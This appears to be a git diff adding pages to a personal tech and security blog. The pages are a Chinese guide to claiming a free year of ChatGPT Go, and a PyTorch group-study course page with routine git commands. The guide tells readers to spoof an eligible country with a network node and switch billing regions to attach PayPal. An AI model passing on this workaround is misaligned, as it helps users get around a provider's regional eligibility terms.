XSS"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#blind-xss",children:"Blind XSS"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-hunter",children:"XSS Hunter"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#other-blind-xss-tools",children:"\u5176\u4ed6\u76f2 XSS \u5de5\u5177"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#blind-xss-endpoint",children:"\u76f2 XSS \u7aef\u70b9"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#tips",children:"Tips"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#mutated-xss",children:"\u7a81\u53d8 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#polyglot-xss",children:"Polyglot XSS"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#filter-bypass-and-exotic-payloads",children:"\u8fc7\u6ee4\u5668\u65c1\u8def\u548c\u5947\u5f02\u6709\u6548\u8f7d\u8377"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-case-sensitive",children:"\u65c1\u8def\u533a\u5206\u5927\u5c0f\u5199"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-tag-blacklist",children:"\u7ed5\u8fc7\u6807\u7b7e\u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-word-blacklist-with-code-evaluation",children:"\u901a\u8fc7\u4ee3\u7801\u8bc4\u4f30\u7ed5\u8fc7\u5355\u8bcd\u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-with-incomplete-html-tag",children:"\u7ed5\u8fc7\u4e0d\u5b8c\u6574\u7684 html \u6807\u8bb0"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-quotes-for-string",children:"\u8df3\u8fc7\u5b57\u7b26\u4e32\u7684\u5f15\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-quotes-in-script-tag",children:"\u7ed5\u8fc7\u811a\u672c\u6807\u8bb0\u4e2d\u7684\u5f15\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-quotes-in-mousedown-event",children:"\u5728 mousedown \u4e8b\u4ef6\u4e2d\u7ed5\u8fc7\u5f15\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-dot-filter",children:"\u65c1\u8def\u70b9\u8fc7\u6ee4\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-parenthesis-for-string",children:"\u5b57\u7b26\u4e32\u4e0d\u4f7f\u7528\u62ec\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-parenthesis-and-semi-colon",children:"\u7ed5\u8fc7\u62ec\u53f7\u548c\u5206\u53f7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-onxxxx-blacklist",children:"\u7ed5\u8fc7 onxxxx= \u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-space-filter",children:"\u65c1\u8def\u7a7a\u95f4\u8fc7\u6ee4\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-email-filter",children:"\u7ed5\u8fc7\u7535\u5b50\u90ae\u4ef6\u7b5b\u9009\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-document-blacklist",children:"\u7ed5\u8fc7\u6587\u6863\u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-document-cookie-blacklist",children:"\u7ed5\u8fc7 document.cookie \u9ed1\u540d\u5355"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-javascript-inside-a-string",children:"\u7ed5\u8fc7\u5728\u5b57\u7b26\u4e32\u4e2d\u4f7f\u7528 javascript"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-an-alternate-way-to-redirect",children:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u91cd\u5b9a\u5411"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-an-alternate-way-to-execute-an-alert",children:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u6267\u884c\u8b66\u62a5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass--using-nothing",children:"Bypass > using nothing"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass--and--using--and-",children:"Bypass < and > using \uff1c and \uff1e"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass--using-another-character",children:"\u4f7f\u7528\u5176\u4ed6\u5b57\u7b26\u8df3\u8fc7\u201c\uff1b\u201d"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-html-encoding",children:"\u7ed5\u8fc7\u4f7f\u7528 HTML \u7f16\u7801"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-katakana",children:"\u4f7f\u7528\u7247\u5047\u540d\u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-cuneiform",children:"\u4f7f\u7528\u6954\u5f62\u6587\u5b57\u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-lontara",children:"\u4f7f\u7528\u6717\u5854\u62c9\u7684\u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-ecmascript6",children:"\u4f7f\u7528 ECMAScript6 \u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-octal-encoding",children:"\u4f7f\u7528\u516b\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-unicode",children:"\u7ed5\u8fc7\u4f7f\u7528 Unicode"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-7",children:"\u4f7f\u7528 UTF-7 \u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-8",children:"\u7ed5\u8fc7\u4f7f\u7528 UTF-8"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-16be",children:"\u4f7f\u7528 UTF-16be \u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-utf-32",children:"\u4f7f\u7528 UTF-32 \u65c1\u8def"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-bom",children:"\u4f7f\u7528 BOM \u7ed5\u8fc7"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-weird-encoding-or-native-interpretation",children:"\u7ed5\u8fc7\u4f7f\u7528\u5947\u602a\u7684\u7f16\u7801\u6216\u539f\u751f\u89e3\u91ca"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-using-jsfuck",children:"\u4f7f\u7528 jsfuck \u7ed5\u8fc7"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#csp-bypass",children:"CSP Bypass"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-using-jsonp-from-google-trick-by-apfeifer27",children:"\u4f7f\u7528\u8c37\u6b4c\u7684 JSONP \u7ed5\u8fc7 CSP\uff08@apfeifer27 \u7684\u6280\u5de7\uff09"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-labwallarmcom",children:"\u901a\u8fc7 lab.wallarm.com \u7ed5\u8fc7 CSP"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-rhynorater",children:"Rhynorater \u7ed5\u8fc7 CSP"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-akita_zen",children:"\u901a\u8fc7 @akita_zen \u7ed5\u8fc7 CSP"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#bypass-csp-by-404death",children:"\u7ed5\u8fc7 CSP@404death"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#common-waf-bypass",children:"\u901a\u7528 WAF \u65c1\u8def"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#cloudflare-xss-bypasses-by-bohdan-korzhynskyi",children:"Cloudflare XSS \u7ed5\u8fc7 @Bohdan Korzhynskyi"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#25st-january-2021",children:"2021 \u5e74 1 \u6708 25 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#21st-april-2020",children:"2020 \u5e74 4 \u6708 21 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#22nd-august-2019",children:"2019 \u5e74 8 \u6708 22 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#5th-june-2019",children:"2019 \u5e74 6 \u6708 5 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#3rd-june-2019",children:"2019 \u5e74 6 \u6708 3 \u65e5"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#cloudflare-xss-bypass---22nd-march-2019-by-rakeshmane10",children:"Cloudflare XSS \u65c1\u8def-2019 \u5e74 3 \u6708 22 \u65e5\uff08\u901a\u8fc7 @RakeshMane10\uff09"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#cloudflare-xss-bypass---27th-february-2018",children:"Cloudflare XSS \u65c1\u8def-2018 \u5e74 2 \u6708 27 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#chrome-auditor---9th-august-2018",children:"Chrome \u5ba1\u8ba1\u5458-2018 \u5e74 8 \u6708 9 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#incapsula-waf-bypass-by-alra3ees--8th-march-2018",children:"Incapsula WAF \u65c1\u8def\u7531 @Alra3ees \u63d0\u4f9b-2018 \u5e74 3 \u6708 8 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#incapsula-waf-bypass-by-c0d3g33k---11th-september-2018",children:"Incapsula WAF Bypass by@c0d3G33k-2018 \u5e74 9 \u6708 11 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#incapsula-waf-bypass-by-daveysec---11th-may-2019",children:"Incapsula WAF \u65c1\u8def\uff0c@daveysec-2019 \u5e74 5 \u6708 11 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#akamai-waf-bypass-by-zseano---18th-june-2018",children:"Akamai WAF \u7ed5\u8fc7 @zseano-2018 \u5e74 6 \u6708 18 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#akamai-waf-bypass-by-s0md3v---28th-october-2018",children:"Akamai WAF \u7ed5\u8fc7 @s0md3v-2018 \u5e74 10 \u6708 28 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#wordfence-waf-bypass-by-brutelogic---12th-september-2018",children:"WordFence WAF Bypass by@brutelogic-2018 \u5e74 9 \u6708 12 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#fortiweb-waf-bypass-by-rezaduty---9th-july-2019",children:"Fortiweb WAF Bypass by@rezaduty-2019 \u5e74 7 \u6708 9 \u65e5"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#references",children:"References"})}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f",children:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f"}),"\n",(0,l.jsx)(n.p,{children:"\u8de8\u7ad9\u70b9\u811a\u672c\uff08XSS\uff09\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u5b89\u5168\u6f0f\u6d1e\uff0c\u901a\u5e38\u5b58\u5728\u4e8e web \u5e94\u7528\u7a0b\u5e8f\u4e2d\u3002XSS \u5141\u8bb8\u653b\u51fb\u8005\u5c06\u6076\u610f\u4ee3\u7801\u6ce8\u5165\u7f51\u7ad9\uff0c\u7136\u540e\u5728\u4efb\u4f55\u8bbf\u95ee\u8be5\u7f51\u7ad9\u7684\u4eba\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002\u8fd9\u53ef\u80fd\u5141\u8bb8\u653b\u51fb\u8005\u7a83\u53d6\u654f\u611f\u4fe1\u606f\uff0c\u5982\u7528\u6237\u767b\u5f55\u51ed\u636e\uff0c\u6216\u6267\u884c\u5176\u4ed6\u6076\u610f\u64cd\u4f5c\u3002"}),"\n",(0,l.jsx)(n.p,{children:"XSS \u653b\u51fb\u4e3b\u8981\u6709\u4e09\u79cd\u7c7b\u578b\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u811a\u672c\u6f0f\u6d1e"}),"\uff1a\u5728\u53cd\u5c04 XSS \u653b\u51fb\u4e2d\uff0c\u6076\u610f\u4ee3\u7801\u5d4c\u5165\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005\u7684\u94fe\u63a5\u4e2d\u3002\u5f53\u53d7\u5bb3\u8005\u70b9\u51fb\u94fe\u63a5\u65f6\uff0c\u4ee3\u7801\u4f1a\u5728\u4ed6\u4eec\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002\u4f8b\u5982\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u5305\u542b\u6076\u610f JavaScript \u7684\u94fe\u63a5\uff0c\u5e76\u901a\u8fc7\u7535\u5b50\u90ae\u4ef6\u5c06\u5176\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005\u3002\u5f53\u53d7\u5bb3\u8005\u70b9\u51fb\u94fe\u63a5\u65f6\uff0cJavaScript \u4ee3\u7801\u4f1a\u5728\u4ed6\u4eec\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\uff0c\u4f7f\u653b\u51fb\u8005\u80fd\u591f\u6267\u884c\u5404\u79cd\u64cd\u4f5c\uff0c\u4f8b\u5982\u7a83\u53d6\u4ed6\u4eec\u7684\u767b\u5f55\u51ed\u636e\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5b58\u50a8\u578b\u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e"}),"\uff1a\u5728\u5b58\u50a8 XSS \u653b\u51fb\u4e2d\uff0c\u6076\u610f\u4ee3\u7801\u5b58\u50a8\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u6bcf\u6b21\u8bbf\u95ee\u6613\u53d7\u653b\u51fb\u7684\u9875\u9762\u65f6\u90fd\u4f1a\u6267\u884c\u3002\u4f8b\u5982\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u535a\u5ba2\u6587\u7ae0\u7684\u8bc4\u8bba\u4e2d\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u3002\u5f53\u5176\u4ed6\u7528\u6237\u67e5\u770b\u535a\u5ba2\u6587\u7ae0\u65f6\uff0c\u6076\u610f\u4ee3\u7801\u4f1a\u5728\u4ed6\u4eec\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\uff0c\u4f7f\u653b\u51fb\u8005\u80fd\u591f\u6267\u884c\u5404\u79cd\u64cd\u4f5c\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u57fa\u4e8e DOM \u7684 XSS"}),"\uff1a\u662f\u4e00\u79cd XSS \u653b\u51fb\uff0c\u5f53\u6613\u53d7\u653b\u51fb\u7684 web \u5e94\u7528\u7a0b\u5e8f\u4fee\u6539\u7528\u6237\u6d4f\u89c8\u5668\u4e2d\u7684 DOM\uff08\u6587\u6863\u5bf9\u8c61\u6a21\u578b\uff09\u65f6\u4f1a\u53d1\u751f\u8fd9\u79cd\u653b\u51fb\u3002\u4f8b\u5982\uff0c\u5f53\u7528\u6237\u8f93\u5165\u4ee5\u67d0\u79cd\u65b9\u5f0f\u7528\u4e8e\u66f4\u65b0\u9875\u9762\u7684 HTML \u6216 JavaScript \u4ee3\u7801\u65f6\uff0c\u5c31\u4f1a\u53d1\u751f\u8fd9\u79cd\u60c5\u51b5\u3002\u5728\u57fa\u4e8e DOM \u7684 XSS \u653b\u51fb\u4e2d\uff0c\u6076\u610f\u4ee3\u7801\u4e0d\u4f1a\u53d1\u9001\u5230\u670d\u52a1\u5668\uff0c\u800c\u662f\u76f4\u63a5\u5728\u7528\u6237\u7684\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002\u8fd9\u53ef\u80fd\u4f1a\u4f7f\u68c0\u6d4b\u548c\u9884\u9632\u8fd9\u4e9b\u7c7b\u578b\u7684\u653b\u51fb\u53d8\u5f97\u56f0\u96be\uff0c\u56e0\u4e3a\u670d\u52a1\u5668\u6ca1\u6709\u4efb\u4f55\u6076\u610f\u4ee3\u7801\u7684\u8bb0\u5f55\u3002"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e3a\u4e86\u9632\u6b62 XSS \u653b\u51fb\uff0c\u6b63\u786e\u9a8c\u8bc1\u548c\u51c0\u5316\u7528\u6237\u8f93\u5165\u975e\u5e38\u91cd\u8981\u3002\u8fd9\u610f\u5473\u7740\u786e\u4fdd\u6240\u6709\u8f93\u5165\u90fd\u7b26\u5408\u5fc5\u8981\u7684\u6807\u51c6\uff0c\u5e76\u5220\u9664\u4efb\u4f55\u6f5c\u5728\u7684\u5371\u9669\u5b57\u7b26\u6216\u4ee3\u7801\u3002\u5728\u6d4f\u89c8\u5668\u4e2d\u5448\u73b0\u7528\u6237\u8f93\u5165\u4e4b\u524d\uff0c\u8f6c\u4e49\u7528\u6237\u8f93\u5165\u4e2d\u7684\u7279\u6b8a\u5b57\u7b26\u4e5f\u5f88\u91cd\u8981\uff0c\u4ee5\u9632\u6b62\u6d4f\u89c8\u5668\u5c06\u5176\u89e3\u91ca\u4e3a\u4ee3\u7801\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"\u5229\u7528\u4ee3\u7801\u6216-poc",children:"\u5229\u7528\u4ee3\u7801\u6216 POC"}),"\n",(0,l.jsx)(n.h3,{id:"xss-\u6570\u636e\u91c7\u96c6\u5668",children:"XSS \u6570\u636e\u91c7\u96c6\u5668"}),"\n",(0,l.jsx)(n.p,{children:"\u83b7\u5f97\u7ba1\u7406\u5458 cookie \u6216\u654f\u611f\u8bbf\u95ee\u4ee4\u724c\u540e\uff0c\u4ee5\u4e0b\u8d1f\u8f7d\u5c06\u5176\u53d1\u9001\u5230\u53d7\u63a7\u9875\u9762\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-html",children:" + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/personal/articles/free-chatgpt-go-one-year/index.html b/en/docs/personal/articles/free-chatgpt-go-one-year/index.html new file mode 100644 index 0000000..5288d03 --- /dev/null +++ b/en/docs/personal/articles/free-chatgpt-go-one-year/index.html @@ -0,0 +1,221 @@ + + + + + +【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 ! | wjlin0 + + + + + + + +

【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 !

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

领取条件​

+
    +
  • 需要一个任意地区的PayPal
  • +
  • 一张支持外币支付的中国区的信用卡
  • +
  • 只对一下地址开放,所以你得有以下地区的网络,例如我这里选择印度
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
阿富汗阿尔及利亚安哥拉奥地利¹
孟加拉国贝宁不丹玻利维亚
博茨瓦纳巴西¹文莱达鲁萨兰国布基纳法索
布隆迪柬埔寨喀麦隆佛得角
中非共和国乍得科摩罗刚果(布拉柴维尔)
捷克共和国¹刚果民主共和国丹麦¹吉布提
埃及¹萨尔瓦多赤道几内亚厄立特里亚
埃斯瓦蒂尼(原斯威士兰)埃塞俄比亚法属南部领地加蓬
冈比亚加纳几内亚几内亚比绍
海地洪都拉斯印度¹印度尼西亚¹
科特迪瓦哈萨克斯坦¹肯尼亚吉尔吉斯斯坦
老挝莱索托利比里亚利比亚
马达加斯加马拉维马来西亚¹马尔代夫
马里毛里塔尼亚毛里求斯马约特岛
蒙古摩洛哥莫桑比克缅甸
纳米比亚尼泊尔尼加拉瓜尼日尔
尼日利亚¹挪威¹巴基斯坦¹巴布亚新几内亚
菲律宾¹波兰¹葡萄牙¹团圆
卢旺达圣赫勒拿岛圣多美和普林西比塞内加尔
塞舌尔塞拉利昂索马里南非¹
南苏丹西班牙¹斯里兰卡苏丹
塔吉克斯坦坦桑尼亚¹泰国¹东帝汶
多哥突尼斯土库曼斯坦乌干达
乌兹别克斯坦越南¹也门赞比亚
津巴布韦
+

外币支付信用卡领取教程​

+
+

这部分可选择招商的 Visa 卡

+
+
https://cc.cmbchina.com/card/
+

image-20251110152241394

+

领取实操​

+

首先你在上表中的任意地区均可,并访问chatgpt,即可在页面中显示免费试用 Go

+

image-20251110144021236

+

接下来是最重要的步骤,这关系到你能否使用Paypal 绑定,点击右下角的印度(你们可能有所不同),切换至欧洲任意地区,例如图中的法国

+

image-20251110144133319

+

点击切换后,再次点击图中的 升级至Go,即可出现PayPal支付

+

image-20251110144207423

+

登录PayPal,并绑定信用卡

+

image-20251110144539996

+

点击同意并继续后,切换回来即可看到已经是 Go 套餐了

+

image-20251110144856290

+

注意事项​

+

由于该套餐是每月一次续费,所以你不能直接取消订阅,而且等到一年后取消,所以各位设置好日记闹钟

+

image-20251110151606280

+

后续无需使用印度或你当前选择的地区节点,其他地区的节点均可

+

总结​

+

如果你也想免费领取一年 ChatGPT Go 套餐 ,则需要前置的三个条件,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技!

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/index.html b/en/docs/个人知识库/AI/PyTorch/index.html new file mode 100644 index 0000000..cfc911f --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/index.html @@ -0,0 +1,257 @@ + + + + + +PyTorch | wjlin0 + + + + + + + +

PyTorch

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:42
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

深入浅出PyTorch

+

PyTorch是利用深度学习进行数据科学研究的重要工具,在灵活性、可读性和性能上都具备相当的优势,近年来已成为学术界实现深度学习算法最常用的框架。

+

考虑到PyTorch的学习兼具理论储备和动手训练,两手都要抓两手都要硬的特点,我们开发了《深入浅出PyTorch》课程,期望以组队学习的形式,帮助大家从入门到熟练掌握PyTorch工具,进而实现自己的深度学习算法。

+

我们的愿景是:通过组队学习,大家能够掌握由浅入深地PyTorch的基本知识和内容,经过自己的动手实践加深操作的熟练度。同时通过项目实战,充分锻炼编程能力,掌握PyTorch进行深度学习的基本流程,提升解决实际问题的能力。

+

学习的先修要求是,会使用Python编程,了解包括神经网络在内的机器学习算法,勤于动手实践。

+

《深入浅出PyTorch》是一个系列,一共有三个部分。已经上线的是本系列的第一、二部分,后续会不断更新《深入浅出PyTorch》(下),给出更贴合实际应用的实战案例。

+
:maxdepth: 2
:caption: 目录
第零章/index
第一章/index
第二章/index
第三章/index
第四章/index
第五章/index
第六章/index
第七章/index
第八章/index
第九章/index
第十章/index
+

人员安排​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
成员 个人简介个人主页
牛志康DataWhale成员,西安电子科技大学本科生[知乎][个人主页]
李嘉骐DataWhale成员,清华大学研究生[知乎]
刘洋Datawhale成员,中国科学院数学与系统科学研究所研究生[知乎]
陈安东DataWhale成员,中央民族大学研究生[个人主页]
+

教程贡献情况(已上线课程内容):

+

李嘉骐:第三章;第四章;第五章;第六章;第七章;第八章;内容整合

+

牛志康:第一章;第三章;第六章;第七章;第八章,第九章,第十章;文档部署

+

刘洋:第二章;第三章

+

陈安东:第二章;第三章;第七章

+

四、 课程编排与使用方法​

+

部分章节直播讲解请观看B站回放(持续更新):https://www.bilibili.com/video/BV1L44y1472Z

+
    +
  • +

    课程编排: +深入浅出PyTorch分为三个阶段:PyTorch深度学习基础知识、PyTorch进阶操作、PyTorch案例分析。

    +
  • +
  • +

    使用方法:

    +

    我们的课程内容都以markdown格式或jupyter notebook的形式保存在本仓库内。除了多看加深课程内容的理解外,最重要的还是动手练习、练习、练习

    +
  • +
  • +

    组队学习安排:

    +

    第一部分:第一章到第四章,学习周期:10天;

    +

    第二部分:第五章到第八章,学习周期:11天

    +
  • +
+

五、关于贡献​

+

本项目使用Forking工作流,具体参考atlassian文档

+

大致步骤如下:

+
    +
  1. 在GitHub上Fork本仓库
  2. +
  3. Clone Fork后的个人仓库
  4. +
  5. 设置upstream仓库地址,并禁用push
  6. +
  7. 使用分支开发,课程分支名为lecture{#NO},#NO保持两位,如lecture07,对应课程目录
  8. +
  9. PR之前保持与原始仓库的同步,之后发起PR请求
  10. +
+

命令示例:

+
# fork
# clone
git clone git@github.com:USERNAME/thorough-pytorch.git
# set upstream
git remote add upstream git@github.com:datawhalechina/thorough-pytorch.git
# disable upstream push
git remote set-url --push upstream DISABLE
# verify
git remote -v
# some sample output:
# origin git@github.com:NoFish-528/thorough-pytorch.git (fetch)
# origin git@github.com:NoFish-528/thorough-pytorch.git (push)
# upstream git@github.com:datawhalechina/thorough-pytorch.git (fetch)
# upstream DISABLE (push)
# do your work
git checkout -b lecture07
# edit and commit and push your changes
git push -u origin lecture07
# keep your fork up to date
## fetch upstream main and merge with forked main branch
git fetch upstream
git checkout main
git merge upstream/main
## rebase brach and force push
git checkout lecture07
git rebase main
git push -f
+

Commit Message​

+

提交信息使用如下格式:<type>: <short summary>

+
<type>: <short summary>
│ │
│ └─⫸ Summary in present tense. Not capitalized. No period at the end.
│
└─⫸ Commit Type: lecture{#NO}|others
+

others包括非课程相关的改动,如本README.md中的变动,.gitignore的调整等。

+

六、更新计划​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
内容更新时间内容
visdom可视化Visdom的使用
apexapex的简介和使用
模型部署Flask部署PyTorch模型
TorchScriptTorchScript
并行训练并行训练
模型预训练 - torchhub2022.4.16torchhub的简介和使用方法
目标检测 - SSDSSD的简介和实现
目标检测 - RCNN系列Fast-RCNN & Mask-RCNN
目标检测 - DETRDETR的实现
图像分类 - GoogLeNet2022.5.11GoogLeNet的介绍与实现
图像分类 - MobileNet系列2022.4月MobileNet系列介绍与实现
图像分类 - GhostNet2022.4月GhostNet代码讲解
生成式对抗网络 - 生成手写数字实战2022.5.25生成数字并可视化
生成式对抗网络 - DCGAN
风格迁移 - StyleGAN
生成网络 - VAE
图像分割 Deeplab系列Deeplab系列代码讲解
自然语言处理 LSTMLSTM情感分析实战
自然语言处理 Transformer
自然语言处理 BERT
视频待定
音频待定
自定义CUDA扩展和算子
+

七、鸣谢与反馈​

+
    +
  • 非常感谢DataWhale成员 叶前坤 @PureBuckwheat 和 胡锐锋 @Relph1119 对文档的细致校对!
  • +
